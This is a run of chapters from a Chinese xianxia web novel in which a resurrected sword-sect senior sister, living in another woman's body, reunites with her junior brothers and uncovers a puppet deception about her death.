姚珍珍伸手按住了腰间剑柄,她从来都对这个师弟喜欢动手大于动口的习惯深有体会,即使此时并不打算与他兵戈相见,但身体也已经下意识做好了接招的准备。 “羽觞?” 果然,她只来得说出两个字,迎面已是一道雪亮的剑锋! ——不能让他闹出太大的动静把其他人引来! 侧身避过青年的几下连刺,心念电转间,姚珍珍已经有了主意。 “收手,是我。” 又是一剑落空,青年眉心已经拧了起来。 他的剑术是由剑宗大师姐姚珍珍亲自传授,一招一式皆有其影,而天下人皆知剑宗首座弟子,那位天下第一的剑修最擅一手快剑……故而,林羽觞相当自信,能在他手下走过十招的修士不少,但能如此轻易的躲开他的剑锋,身法如此迅捷,动作如此游刃有余的,可实在是屈指可数。 这个来自偏远海外的白氏女,竟有如此身法? 林羽觞的动作因此迟疑了半分,趁此空隙,姚珍珍终于一口气将话说完了。 “你十岁那年我带你去故曲黄崖求你母亲赐名。” 见对面停手,她微微喘气,向后半步站定,手中短剑挽出一道剑花。 “你的母亲不肯见你,从屋中掷出一个铜酒杯,不巧砸在你的头上,留下了一道疤痕。” “你捡走了那个酒杯,自此得了名字……”女子声音轻巧,娇美面容沐浴在月光中,如美玉般泛着柔光,“羽觞,你还记得吗?” “……” 青年手中长剑忽然颤抖起来……或者说,他整个人都轻轻地打着颤。 这个无坚不摧的剑客仿佛被姚珍珍的一席话又带回了十五年前,变回了曾经那个无助的孩童。 在他手中长剑脱手落地的前一瞬间,姚珍珍迅速向前一步,双指并拢,险而又险的夹住了长剑的剑柄。 青年却无视了自己的本命剑被人制住的情况,伸手握住了身前之人的双肩。 “……师姐?” 他低头凝视女子陌生的面容,双目圆睁,本是纯黑的眼瞳已经被一双发亮的金黄兽瞳代替。 姚珍珍感觉到有温热的水滴落在自己的脸上。 她的心在这泪水中变得柔软而酸楚起来。 姚珍珍伸出手,将手中长剑归入身前青年腰间剑鞘中,旋即又抬起手,在青年鬓角安抚性地轻拍了一下。 “怎么哭了?”她本来是想和往常一样拍拍师弟的头,伸出手才后知后觉地发现自己现在已经不能和从前一样轻易够到青年的头顶了,只能转而拍拍他的鬓角,“是我,我回来了。” 透过朦胧的泪眼,林羽觞看见眼前女子脸上露出熟悉的无奈表情。 “又在师姐面前哭鼻子了,乖小狗,”她说,“别掉眼泪了,师姐在呢。” 他再也忍不住,收拢手臂,将失而复得的珍宝重新揽入怀中。 一切熟悉得仿佛昨日重现。 彼时林羽觞还是被母亲抛弃在剑宗的弃儿,没人苛待他,但也没人当他是个人。饭食总是有人准时准点送到屋中,但除此之外,没有人和他交谈,也没有人教他任何东西。 这个只有七岁的孩子也曾拉住前来送食物的弟子的衣摆,用充满期望的眼神望着对方。 可是那人是如何回应他的呢?林羽觞还记得对方充满戒备与厌恶的眼神。 “松手,你这个小杂种。”那人这么骂道。 他被恶狠狠地一掌推开,装着食物的食盒被粗鲁地扔在地上,汤汤水水撒了满地。 自此,“小杂种”成了那些小弟子们私下对他的专用称呼。 他就这样长到了九岁,依然未受教化,仿佛野兽,连人话都不会说。 直到姚珍珍从外游历归来时,见到几个弟子用驱兽的梆子到处驱赶一个衣衫褴褛的孩子。 “这是做什么?”她没收了那些弟子手里的梆子,“他是谁?” 对于这个同时兼任着戒律堂执律的大师姐,弟子们一向是敬爱皆有,知无不言,姚珍珍一发问,他们便争先恐后的回答起来。 “他是被留在这儿的孤儿!” “就是南纤洲收复的时候,救回来好多被妖族掳走的修士那次……” “要你说啊,师姐可是收复南纤洲的首功!” “师姐,这小杂……小孩在剑宗好几年了,连话都不会说,完全就没个人样……” “他是个半妖!迟早要化成妖怪的,怎么教也不会变成人……” “……” 从这些散乱的回答中,姚珍珍拼凑出了一个难堪的真相。 这孩子,是南纤洲被妖族掳走的女修士所生之子,生来便是半妖。其母被营救回来后,便将这个孩子留在了剑宗,自此不管不问。 长久的叹息后,姚珍珍驱散了那些弟子,将这个孩子抱上了鸣麓山。 但剑宗不会,鸣麓山的主人也不会接纳一个血统存疑的半妖入门,更遑论这个半妖仿佛灵智未开,全无人样。 无奈之下,姚珍珍只能耗费重资向一位妖族故友求助,从那位故友处,姚珍珍得到了关于妖族的一些秘辛。 “与你们人族不同,妖修的力量更多来自血脉传承。也因此,妖族的名字是很重要的,只有来自父母的赐名完成,才代表着血脉传承的完整,”那位故友在信中如此写到,“血统不纯的半妖很难继承到多少血脉力量,若是还没有父母赐予名姓的话,这辈子只能维持这半人半妖的姿态,做个混沌愚昧的野兽了。” ——关键在于名字。 要想得到名字,就需要找到这孩子的父母,只是他的父亲作为妖族大概率已死在当初的收复战中。 姚珍珍因此翻遍了当初的档案,终于找到了关于这个孩子的生母的消息。 幸运的是,她还活着。 不幸的是,她出身高贵,且已再嫁。 6. 蜃脂 《你师姐永远是你师姐》全本免费阅读 姚珍珍问完,只觉得手腕忽然一紧。她侧过脸,看见是林羽觞瞧出了她的情绪不对,伸手拉住了她的右手。 “那是一具肉傀儡,”她这个从来沉默寡言的师弟此时仿佛打通了任督二脉,语速飞快的解释道,“师姐,你走后不久南□□地便有魔教妖人作祟,各门派反应不及,损失颇大……” “说到底不过是你们无能罢了,”那被称为“肉傀儡”的假“姚珍珍”突然开口打断了林羽觞的话语,“南陆上下三千仙门,除去一个姚珍珍,竟无一人能压制这些邪魔外道!” 说及此处,她冷笑一声,双手抬起按住了自己白皙的脖颈,手指微微用力。 再开口时,少女口中已经发出了另一个声音,阴沉而沙哑。 “你留在燕鸣臻那里的命牌碎裂当日,我与他一同赶往鸣麓山……”从自己嘴中发出另一个男人的声音,这场景真是诡异至极,姚珍珍却只是静静地听着,并未出声打断。 “你的那个好师妹姚淼淼,她不肯承认你的死讯,又和燕鸣臻合谋秘不发丧,令我以你的心血为引,造了这么一具肉傀儡。” “以此傀儡,他们对外宣称姚珍珍依然活着,各处魔修闻听此讯,大多作鸟兽散……魔主应滕甚至在海候城不战而退。” 他似乎是觉得十分可笑,捂着脸发出一阵渗人的惨笑声。 “自此七年,为保此事不被魔修察觉,他们将傀儡送往洛萍陆眉山旧址,深居简出。若有必要场合,则让我/操纵傀儡,以假乱真,而你的这位好师弟,则靠着一手亲传自大师姐的剑法,时时护法左右,以绝外人窥探之心。” 此事听上去实在荒谬,姚珍珍不由得转身望向身边青年,用眼神询问他面前之人所言是否真实。 林羽觞却偏过头,避开了她投来的视线。 这小狼狗几乎是姚珍珍一手带大的,她是何其了解他的脾气,这样的表现,几乎便是默认了。 而对面傀儡师操控着傀儡“姚珍珍”则自顾自地扬起双手,仿佛舞蹈般挥动起来。 “我等着师姐来参加我的飨月宴,从日升等到日落,没想到等来的是一块碎裂的命牌……”“她”举起了手,指尖寒光闪烁。 “那时我说,没关系,不过一死而已,师姐,我去陪你。” “他们都抛弃了你,我不会……我本不会失约的,”“她”的话语忽然停顿,表情却忽而狰狞,目眦欲裂,即使只是傀儡,也能叫人从那纯黑的瞳孔中看出恨意来,“可我死不了……我怎么能伤害你……我好痛……” 少女的眼眶中流出了深红的血液,她跪倒在地,向着姚珍珍的方向伸出手,掌心里托着一柄出鞘的银色短匕。 “师姐,你可以再救我一次吗?” “……” 姚珍珍半蹲了下来。 “阿尚,”她用自己的衣袖擦净了面前少女脸上两道血痕,捧着这张自己最熟悉的脸,姚珍珍轻轻叹了口气,“听我说。” 她一只手抚摸上眼前少女的额头,向下覆盖住她的双眼。 “我在这里,什么也不要想,呼——”女子的声音逐渐变低,最后变为耳语般的呢喃。 “你做的很好,非常好,师姐在这里,接下来的事情交给我,嗯?” “呼——,放轻松,我在这里,辛苦你了,对,松开手,休息一下吧。” “……” 姚珍珍揽着女孩的肩膀将她轻轻平放在了地面上。 少女眼角依然有几不可察的些微血痕,面色却平和许多,仿佛陷入了某种美梦中。 有几个巡视的弟子被他们方才的动作所吸引,但还没走近便被林羽觞赶走了。姚珍珍盘膝坐在少女的身边,手里摩挲着那柄银色短匕。 直到身后传来沉稳的脚步声,有人走到了她的身后,伴随一阵窸窸窣窣的布料响动,青年坐在了她身边。 “师姐,”林羽觞伸出手,将一个小小的长颈白瓷瓶递给姚珍珍,“这是可以帮他稳定情况的药物。” “巫公子自你……”他话语停顿了一下,显然是不太想说出那个词汇,“自你走后,神志便时好时坏,墨展宗的人怕他再次自戕,只好请人将他的灵肉分离。” “但他破坏了数具栖身的傀儡想要自尽,实在无奈,他们才将巫公子的灵魂暂时存放在师姐你的傀儡身里。” 姚珍珍伸手接过玉瓶,将那柄匕首放在一边,伸手扭开了瓶塞。 一股诡异的香气从瓶口飘了出来,腥甜又苦涩,只让人闻上一点就想要呕吐。 她倾斜瓶身,从开口处倒出了一滴深棕色的粘稠液体,双指并拢,将这呈现半固体状态的药膏捻开。 指尖传来滑腻的触感,双指分开时又有仿佛被粘住一般的感觉,姚珍珍仔细的观察了一会儿这看上去就十分邪异的药物。 “蜃脂?”她认出了其中一味主药,惊愕道,“蜃兽最擅编制幻境,取蜃脂入药,这是谁起的方子?” 林羽觞摇了摇头。 “墨展宗送来的药,巫公子的情况总是时好时坏,不用这个药,他就睡不着。” 至于睡不着的巫公子会做什么,林羽觞就不再多言了。 姚珍珍谨慎的将瓶塞盖好,将玉瓶递了回去。 “羽觞,”她的语速很慢,仿佛在仔细斟酌些什么,“我有一件事想不明白。” 林羽觞转过头,望着女子凝眉思索的神色,仿佛想透过这张陌生的面容看见那个熟悉的灵魂。 “这具身体的主人告诉我,她的长辈曾经为她种下一个特殊的招魂术,能在危难时召来游魂附体渡过难关,”那柄小巧的匕首在她修长的手指尖轻巧地旋转,仿佛一片轻盈的银色树叶,“即使身死魂散,若非刻意,寻常修士灵魂也不会离□□过远……你们可曾前往连杀山为我收敛尸骨?” 她问出了问题,但却好半晌未能得到回答。 女子于是疑惑的扭过头,却看见身边青年正死死的盯着自己,澄黄的兽瞳在黑夜中反射着亮光。 “师姐……”作为半妖,即使修习的皆是正派功法,平素表现也与常人无二,但在情绪激动时,林羽觞还是不可避免的会现出些许非人的姿态来,“原来……师姐是真的死了?” 姚珍珍还未作答,眼前青年仿佛在女子眼中看见了此刻自己狰狞的倒影。他身体后仰些许,重重闭了下眼睛。 “姚淼淼手里有师姐留下的命牌,但那命牌一直是完好的,”再睁眼时,青年已经恢复了寻常的黑发黑眼,只是神情有些不自然,“她说是燕鸣臻捏造了一块假命牌,想要借此悔婚。” “……我就该杀了这对狗男女。”他仄仄地 7. 梦影 《你师姐永远是你师姐》全本免费阅读 从林羽觞和假“姚珍珍”那里离开后,姚珍珍绕过已经轮换过一批的巡视弟子,再次回到了一楼的舱室中。 陆哲依然保持着她离开前的睡姿,沉浸在黑甜的梦乡里,有月光透过窗棂照进屋内,在地板上投下阑珊的灯影。 姚珍珍悄无声息地走进屋内,在另一边的软榻下躺了下来。 或许是因为这具身体不属于自己,在经历了白日诸多变故后,她的精神却依然清明,丝毫不觉困倦。 但夜色已深,这毕竟不是自己的身体,为了原主着想,她还是将脑海中乱成一团的思绪丢开,强行逼迫自己闭上了眼睛。 可这个外来的灵魂显然无法轻易在这具陌生的躯体中享受安眠,姚珍珍闭着眼睛,在黑暗中反而听觉更加敏锐。她听见几步之遥外陆哲均匀的呼气声,听见甲板上有巡逻的弟子刻意放缓的窸窣脚步声,还有云海深处低沉呜咽的风声……宛如歌唱。 …… 在这并不如何动听的歌声中,姚珍珍终于进入了梦乡。 *** 梦境中依然是鸣麓山,但时节换成了盛夏,这一次,姚珍珍清晰的知道自己正在梦中。 眼前所见是熟悉的楼阁石阶,正午的阳光在空气中撒下滚烫的热浪,眼前所见的一切仿佛都蒙上了一层虚假的暖色。 “珍珍?”见她忽然在道中停下了脚步,有人在背后疑惑地开口。 姚珍珍回过头,看见了身后跟着的人。 ——是燕鸣臻。 青年正站在石阶上,疑惑地抬头望着她,浓黑睫羽下,那目光满怀关切与爱意。夏日的晴光透过树荫在两人头顶洒下斑驳的光斑,姚珍珍的目光落在他毫无瑕疵的面庞上,不由感到一阵恍惚。 “又走神,”燕鸣臻无奈道,语气带着抱怨,眉眼却是舒展的,“醒一醒,我们还得去戒律堂观审。” “……观审?”姚珍珍因为美色而晕头转向的灵魂终于回过了神,她知晓此时所见一切皆是梦境,但一时未能明白自己为何会梦到这里。 她的确曾担任剑宗戒律堂的执律,但因常年外出游历,大部分时间这个名头不过是个虚职而已。 ——因着剑宗掌管俗务的郭长老对她格外偏爱,对与姚珍珍这种顶着名头吃空饷的行为从来是轻轻放过。 戒律堂执掌宗门法度,凡剑宗所辖范围内,一切违律罔法皆可审,堂内每日有执律坐镇值守,因着姚珍珍时常外出,她的名单并不在值守范围内,堂内弟子也只有极少的时候会传信唤她前去。 自己和鸣臻一起去戒律堂……还是在如此暑热的天时…… 女子眉心不由自主地蹙了起来,她已经想起了此次梦境的时间。 ……乾京历八年八月二十七,喻勉之在剑坪比试时误伤同门,之后执律们在他的住处搜出了血琥珀,戒律堂因此拘了人待审。 喻勉之此人,虽然剑道天赋卓绝,但因为从小养在市野乡间,与异父兄长燕鸣臻性格差异极大,又因为母亲溺爱,颇有些纨绔脾气,入了剑宗后便时常与同门起龌龊。因着喻勉之入门前,姚清和便已闭关不理俗务,这个小师弟的剑法几乎是姚珍珍一手教来的,也因此他只认这一个师姐。姚珍珍在门内时他还能稍稍克制些,只要她外出游历,这皮猴便总要闹得鸣麓山上下不得安宁。 但从前喻勉之也只是小打小闹,看在燕鸣臻和姚珍珍的面子上,戒律堂往往是小惩大诫便算……只除了这次。 ……喻勉之在剑坪时同门争斗时,灵剑失控伤了在场的三个弟子,前来阻拦的执律被他一剑斩下了一根手指。 之后便是在他住处翻出的血琥珀,姚珍珍还记得事后她曾在戒律堂见过那块作为证据的血琥珀。执律解开布袋时,那恶物露出的邪异红光让整个室内都蒙上了一层血色——完全不似死物,仿佛一颗勃勃跳动的心脏般,散发着肮脏而馥郁的甜腥气味。 事发时姚珍珍随着燕鸣臻在宁连郡处理水患后事,二人接到传信时,只当又是幼弟的一次顽皮。待到赶回戒律堂时审判业已结束,主执律认定了喻勉之修习邪术沟通魔修,两人面对如山铁证,最终也无可奈何,只能看着他领了鞭刑,被禁足于鸣麓山顶。 那之后不久斛珠夫人亲至剑宗赔罪,送来钱财美玉无数,熠熠宝光映亮了鸣麓山的晨昏;又有上好良药流水般送来赠予受伤的弟子与执律,剑宗毕竟不是真正不食人间烟火的世外仙门,最终还是松了口,让她将喻勉之带离剑宗。 再往后便是乾京历九年春,姚珍珍追着应滕的踪迹一路进入连杀山,最终在那里折剑,余下后事,她便再无知晓了。 除去前世最后的那段时间外,姚珍珍最不想面对的便是这段回忆——她一直对喻勉之的堕落怀有愧疚,疑心是自己的错失让这个天资卓绝的少年误入歧途。 思及此处,姚珍珍在梦中的脚步也不免变得沉重起来——她明白两人赶回剑宗时一切已晚,受伤的弟子与执律是真的,血琥珀也是真的,即使是时光倒流,他们此刻也已经无力回天,遑论此刻正是梦境。 剑宗当然不会真的处死喻勉之,且不论他与燕鸣臻这位三皇子的亲缘关系,斛珠夫人出身东原黎氏巨富之家,又对此幼子溺爱至极,无论如何也不会对他坐视不理。 他们此刻赶去,不过是再见一遍受伤者的惨状,再听一次喻勉之的哀求罢了。 姚珍珍的犹疑与踌躇显然不能瞒过一边的燕鸣臻,青年从身后靠近,一只手搭在了她的肩头上。 “你若是不忍心,我们便不去了吧?”青年身形比她高上不少,俯身时几乎将少女娇小身形完全笼住,他低头在姚珍珍的耳边说话,“勉之性格顽皮,本该我做兄长的多加管束。此次事了,我便把他带去封地,不让他再来烦你。” 青年的声音低沉和缓,充满磁性,一句话说完姚珍珍的半边身体都快随之酥软了,红晕从耳根一直蔓延到脸颊上。 “好。”姚珍珍赶忙向前半步拉开了两人的距离,定了定心神,“我……” 她停下脚步,还想说点什么,又觉得无处开口。 她该说点什么呢?问问他自己的命牌究竟是否碎裂?问问他是否真的想要悔婚?还是问他与淼淼的关系是否如传言所说? 这里只是梦境,眼前的燕鸣臻只是她记忆中的幻影。他们已有七年未见,她要如何想象出他现在的回答呢? “陪我走走吧,鸣臻。”最终,姚珍珍只是这么说。 燕鸣臻握住她的手,两人的十指自然的交扣在一起。 姚珍珍低下头,望着两人紧握的双手。 燕鸣臻生在皇家,从小锦衣玉食,金尊玉贵,双手自然保养得宜,十指纤长有力,肌肤光洁如玉。 而姚珍珍则不同,她自幼习剑,从不懈怠,从掌心到指尖都被层叠交错的伤痕与薄茧所覆盖,抚摸起来仿佛一块饱经风霜的砥石。 两人手指交叠在一起,对比是如此刺目。 她想缩回手,却被燕鸣臻更用力地握住了。 “珍珍,你在怀疑我,”他干脆双手捉住了她的右手不让她挣脱,手指抚摩着少女虎口处一道陈年的旧伤口,“能告诉我原因吗?” “我让你不安了,是吗?”他低头,嘴唇在那伤口上方轻轻扫过,带 8. 大师姐 《你师姐永远是你师姐》全本免费阅读 姚珍珍没想到从药瓶里倒出的那一抹药膏效果竟如此强劲,不过是挥发在空气中的一小点,不仅让自己一夜深梦无眠,更让住在同屋的陆哲直到现在还未能挣脱梦魇。 姚珍珍试着喊了他几次,但青年只是自顾自的闭着眼流泪,锦缎做的枕巾被他的泪水打湿近半,随着主人的辗转反侧被揉成一团皱巴巴的破布。 最终姚珍珍只能使出了杀手锏——她伸出手,两指掐住青年的人中,强行把他从梦中唤醒。 “呜……好痛,湄娘,怎么了……” 青年顶着鼻下一道红痕迷迷糊糊地爬起来,张嘴就是妻子的名字,表情委屈极了,活像个没断奶的大号婴儿。 姚珍珍没理会他的胡话,转过身拉开舷窗,让室外空气加速涌入,好让药效加速挥发。 “醒醒,陆公子,我们……”她的话语忽然一顿,青年的一声“湄娘”让她想起了些什么。 ……阿尚所用的此药是否会对内府深处修养的白郁湄有所影响? 又或者,他那里是否能寻到一些稳固神魂的药物,来为白郁湄进行医治? 思及此处,姚珍珍不再浪费时间给陆哲,甩开青年迷迷糊糊试图抓住自己袖子的手,起身出了门。 她还没走出几步,便见到同一层另一间的舱门打开,陈谦正伸着懒腰从门内走出来,身后还跟着个身材高挑的弟子。两人同样的玉冠束发,白袍上绣着流云纹样。 陈谦也看见了迎面走来的姚珍珍,顿时眼睛就是一亮。 “白姑娘!”不知是否错觉,姚珍珍感觉自己仿佛看见了这个少年人背后飞速窜起了一根摇来摇去的大尾巴,“真巧!我正要去寻你……们。” 他身后跟着的高挑少年闻言也转过了头,他显然不如陈谦那么精力无限,看上去睡眼惺忪,眼睛都未能完全睁开,只是草草地上下打量了一眼姚珍珍,朝着她点了点头便算是行过礼了。 “白姑娘昨夜休息得可好?若有任何物什缺少,白姑娘可与我直说,”陈谦兴冲冲地向前两步凑上前来,“怎么不见陆公子?船上公厨供应早膳到辰时三刻为止,过时可是不候的。” 这话说得就有些过于殷勤了,连姚珍珍都对他异乎寻常的热情态度而感到几分惊讶,更不用说陈谦身后跟着那个年轻人了。 “陈谦,”他好像终于睡醒了,细长的眼睛睁开了些许,“你吃错药了吗?” 虽然生得细眉细眼的文弱模样,这个身材高瘦的青年说起话来却非常不客气。 “昨天他们说我还不信,今日倒是开了眼,”他再次仔细地上下打量了一番姚珍珍,脸上现出揶揄的神色来,“白姑娘已有夫君,你再怎么春心萌动也收敛些吧。” 终于理清现实与梦境的陆哲一跨出房门,就听见了这后半句话。 他的脸上顿时闪过各种复杂的神色,好一阵五颜六色。 若这陈谦是对着他的妻子献殷勤,那他定是要站出来好好挫败这毛头小子的锐气……可如今湄娘的身体里住着个他惹不起的大前辈,这情况便有些复杂了。 陆哲想起姚珍珍那一手神鬼莫测的剑法,脑海里同步闪过昨日那些被一击毙命的魔修们死不瞑目的尸身,脸色顿时一白。 姚珍珍也听见了身后的脚步声,但她急着去寻林羽觞,没空理会陆哲心里那点小九九,便没回头。 ——当然也就没看见自己这位名义上的“夫君”堪称窝囊的一系列变脸操作。 她没瞧见,但面对着她的陈谦和他身后的文弱少年却看得分明。 嚯,难怪小陈这么兴奋,原来碰上这么个废物点心,那毒舌少年心道。 “文栋你少胡诌!”陈谦脸红成了个大番茄,恨不得转身捂住同伴那张口误遮拦的嘴,“白姑娘,我不是那个意思!我只是……” “我只是……”他的声音越来越低,最终变为无人能听见的讷讷低语。 姚珍珍却没空理会他的少年心绪。 或许在她还是曾经那个剑宗大师姐的时候,她会对这些本质只是慕强的小弟子多些关爱引导。 但现在,她的时间并不多。 “我想起了一些事,需要告知羽、”她及时地纠正了自己的一时嘴快,“告知林师兄,他可还在二层船舱?” “啊,林师兄?”陈谦抬起了头,“应当是在的,可是二层轻易不让外人上去的,白姑娘,要不我带你过去寻他吧?” 姚珍珍找林羽觞是为了给白郁湄讨药,当然不想带着陈谦这个好奇宝宝,但她还没来得及酝酿出什么拒绝的话语,头顶不远处忽然传来熟悉的声音。 “不必,我会让执勤弟子放行,”低沉的男声说道,“请……这位白姑娘上来吧。” 站在一层甲板上的几人循声抬起头,看见了二层甲板船舷边负剑而立的青年。 是林羽觞。 陈谦有些失望的应了一声,正准备低下头去,忽然又仿佛想起了什么,猛然抬起了头。 不是错觉,二层船舷边,林师兄穿着他那身万年不变的玄衣……这不是重点。 重点是,他的身边,一个小个子姑娘正将手搁在栏杆边,单手撑着下巴,表情冷淡地睥睨着众人。 陈谦确信自己没见过她的脸。 但这艘云舟上的每一个人陈谦都认识,只除了一个,只有那一个,他听过她的传言,临过她的剑谱,打扫过她的故居,甚至亲手抚摸过她在鸣麓山留下的剑痕……但他从未见过她的脸。 他只听过年长的师兄师姐们用向往而怀念的语气描述她。 ——“珍珍师姐吗?她很好认的啊,脸蛋圆圆的,个子不高,很可爱的,一把就能抱住。”这么说的是舒默师姐。 ——“大师姐啊?她没什么偏好的,我们订的衣服她都会穿的,不过她有一支很喜欢的梅花钗,被淼淼师姐收着呢,”管着门内物资分配的云瑶师姐伸出手指比划了一下,“一根玉做的白梅簪子,大概这么长,宗门里不少人偷偷定了同款的簪子,唉……倒是许久没见人戴过了。” ——“大师姐?我没见过她用本命剑的时候,她用的多的是素剑,就是刚入门统一配发的那种,一个月能用坏好几柄,”楚师兄平素是出了名的沉默寡言,这时候倒是能多说几句,“我说过要给她寻一柄好剑的,只是现在还没找到能配得上的,可惜。” ——“……好久没见了,我很想念她。”他们总是这么叹息着结束话题。 这些描述和那些或传奇或荒诞的流言结合在一起,在陈谦这些新入门的弟子心中组成了姚珍珍的模糊形象。 她天赋卓绝,她实力惊人,她平易近人,她身材娇小,她行事不羁……每一个进入剑宗的弟子都梦想着见到她,接触她,跟随她,成为她。 姚珍珍答应担任此次仙试的武试裁断的消息一经传出,先不论外界如何哗然,那报名处如何被人踏平了门槛。便是剑宗内部,关于前往迎接的人选都是经过了好一阵厮杀才决出——淼淼师姐甚至特意交代了让新入门的弟子多出门历练,这才阻止了那些师兄师姐们的疯狂之举。 陈谦就是这样杀出重围得到了这个机会,他满怀着希望登上云舟,前往洛萍,本以为能一了夙愿,却没想到得到的是姚珍珍身体不适,不见生人的消息。 他以为自己只能等到武试开始才能远远的见这位大师姐一面了…… 但是现在,那个站在林师兄身边的陌生少女…… 不会错的,她就是…… “珍珍师姐!”身后忽然传来呼唤,却是元文栋已经喊出了声。 这位与他同住的同门来自丹鹤峰,平素总是一副文弱仄仄的样子,这时候却反应奇快,声音更是从未有过的嘹亮。 陈谦甚至来不及瞪他一眼,他急切的抬起头,想要看清姚珍珍的表情。 他看见那脸色还带着些苍白的少女听见文栋的呼唤后,似乎是怔了一下,那淡漠的目光顺着声音的来源扫了过来—— 然后,陈谦眼睁睁的看着这位刚才还面无表情的大师姐目光忽然凝住了。 所有的冰冷与淡漠都如新雪般融化了,陈谦看见她忽然眯起了眼睛,嘴角绽开一个笑容。 “这位是……白姑娘是吗?”“姚珍珍”笑着向他们身后站着的姚珍珍招了招手,“还请过来一叙,关于昨日之事,我有许多细节想问问你呢。” 陈谦下意识的回身望向身后这位他颇有好感的“白姑娘”,目光中难以抑制的带上了羡慕与嫉妒的神色。 9. 昭华 《你师姐永远是你师姐》全本免费阅读 好容易摆脱了撒娇买痴的巫尚,姚珍珍怀揣着从师弟那里取来的灵药,本想悄无声息的回到自己的屋子再试。 谁想到她刚推开房门,甲板四面各执其事的弟子们仿佛约好了一般,几乎是同时停下了手中的事,目光齐刷刷的落在了她身上。 青天白日的,姚珍珍感觉自己被他们看得浑身发毛——不论前世今生,她都是很惯于受人瞩目的,但这次情况实在不同。 姚珍珍自认对他人情绪不算多么敏感,但她依然从这些目光中察觉到了异常。 怜悯、惋惜……许多从来与她无缘的情绪如此鲜明的出现在这些弟子的眼中。 ……什么情况?她怀着满脑子疑惑,硬着头皮穿过一众人群,越走越快,险些当着众人面运起身法遁走。 房门虚掩着,姚珍珍逃难般推开门,一步跨了进去。 出乎意料的,里面除了陆哲,还有其他人。 陈谦正抱着剑靠在窗边,听见推门声转过头来,看见是姚珍珍,眼睛顿时一亮。 但在他开口之前,屋内多出来的另外一人先开了口。 “白姑娘,”坐在桌前的女子站了起来,姚珍珍目光在她腰间悬挂的朱红令牌上一扫而过,“幸会,我是剑宗清照峰的弟子,邱语兰。” 姚珍珍认出了她,是昨夜她多关注了一眼的那个女修,感知敏锐,天赋不错。但她暂时还没弄清这位师妹过来的目的是什么,因此只是谨慎的点了点头算是回应。 “幸会,我是白郁湄。”姚珍珍说。 邱语兰似乎也有些紧张,她抬起手捞了一把鬓边发丝,局促不安的抿了一下嘴唇,再次开口道: “白姑娘,我这次来,是来邀请你的。” “陈师兄说你剑法造诣极深,我……你想不想加入剑宗?” “我的师父是清照峰的峰主,若你愿意,我可为你引荐。” 女子的语速逐渐加快,姚珍珍的眉头却放松下来。 “姑娘好意,我心领了,”她心中不由得感到一阵无奈,死而复生不过两日,她已经接到两份来自剑宗的邀请函了,“我已有师承,也暂时不打算脱离陆氏。” 她转过身看向一边抬头研究屋顶花纹的陈谦:“陈公子,当日我是如何拒绝羽、林师兄的,你也在场。” “白姑娘,你再考虑一下吧!”那女修忽然提高了声音,“这陆氏……这陆哲实在不是良人!我师父也是女子,门内弟子也都很友善……” “……啊?”姚珍珍疑惑地发出一个单音,她实在不明白只是取药这么小半个时辰的时间,自己这个有点呆的便宜丈夫怎么就突然“不是良人”了。 “你和他们说什么了?”她挑起一边眉毛,问一边一直沉默不语,缩在榻上的陆哲。 陆哲听到声音,也只是抖了一下,不敢回话。 倒是那女修,再度向前了一步。 “白姑娘,你是有造化的女子,不该如此作践自己!”她伸手就想来握住姚珍珍的手,但被姚珍珍轻巧的躲开了。 “我如何作践自己了?”姚珍珍此刻倒是真的有些好奇了。 “……”邱语兰因为她的动作而微微一愣,“白姑娘,你可知,陆哲另有一位道侣?我们修士并不遵循凡人的婚姻关系,唯有立誓交心的道侣才是唯一的……你如此年轻,实在不该与此种三心二意之人蹉跎纠缠。” “……?”姚珍珍扭过头看向一边越发瑟缩的陆哲,缓缓挑起一边的眉毛,“我当然……知道他有道侣。” “那你还……?”邱语兰瞪大了双眼,“为了这样的人,值得吗?” 一边的陈谦也跟着如捣蒜般点着头。 好问题,姚珍珍心想,我也觉得不太值得。可这个问题该问的人不是她姚珍珍,而是正在内府修养的那位白郁湄,她只能模糊的回答了一句: “……或许吧。” “……” 姚珍珍眼看着这个师妹的脸上露出了难以掩饰的惋惜之色。 “你……唉!”最终,她发出一声怒其不争的长叹,愤然转身拂袖离去。 陈谦追着这位同门的脚步也离开了,临走时还依依不舍地回头望了一眼姚珍珍,只可以媚眼抛给了瞎子,姚珍珍没注意到这位师弟曲折复杂的少男心绪。 等到两人都离开,姚珍珍不紧不慢地走早桌边坐下,给自己倒了一杯茶。 “好了,都走了,”她端起杯子,喝了一口,发现里面还是昨夜的残茶,“你和白郁湄,究竟是何种关系?” “湄娘是我的妻子!”没有了外人在,陈谦终于敢再次鼓起勇气发声,“我们本是青梅竹马,只是成年后……” 他的声音从一开始的响亮,到逐渐变小。 “母亲以湄娘无父无母为由,不许我与她结契……又为我寻了姜氏女……” “可我与湄娘情深,不忍她神伤,所以我去求了母亲,娶她为妻……” “此次仙试,姜氏不愿离岛,也是湄娘主动提出与我随行……” “唔。”听完他一番剖白,姚珍珍没带感情地从鼻腔里发出一个单音节。 她闭着眼睛,左手随意地把玩着一柄小巧的银色匕首。匕首没有刀鞘,寒光璀璨的锋刃轻盈的在她指尖旋转舞动,让一边看着的陆哲看得好一阵心惊胆战,生怕她一个失手伤到湄娘的身体。 【“白姑娘,虽然我那师妹行事有些莽撞,但……”】姚珍珍垂着眼睛,在内府中传音道,【“她的话不无道理,你这个夫君,既无担当,也无能力。”】 【“此间事了,你若想另寻出路,可以再去寻她。”】 良久,一个婉转的女声通过内府传入姚珍珍耳中。 【“多谢前辈为我求来的良药,”】白郁湄的声音依然虚弱,但已比最开始的时候流畅不少,【“陆氏对我有恩,陆哲也待我真心……,我……我会考虑的。”】 说完这句,她再次停顿了良久。 【“……前辈果真是那位剑宗大师姐么?”】白郁湄忽然开口问道。 【“是,二楼客室中的并非我本人,而是一具傀儡身。”】姚珍珍也很坦然地承认了。 虽然已决定改换身份秘密前往仙试,但姚珍珍知道自己的身份是很难瞒得过和自己共用一具身体的白郁湄的,便索性不再掩饰。 【“白姑娘,此去昭华城,我需要借你的身体一用,”】在陆哲心惊胆战的目光中,姚珍珍将手中短匕向上一抛,空中银光一闪,【“作为交换 10. 剑痕 《你师姐永远是你师姐》全本免费阅读 告别了剑宗众人,姚珍珍独自负剑走入了星落港。 虽然已是黄昏时分,港口依然繁华至极,往来云舟穿梭不止,年龄与身姿各异的修士们互相结伴而行,不时能见到统一服饰的修士们从船上下来,步履匆匆地走向关隘出口——一看就知是同一个宗门来的。 姚珍珍上一次来昭华城还是为了给燕鸣臻送生日贺礼,那次来得匆忙,只记得当时的港口远不如此刻繁华。 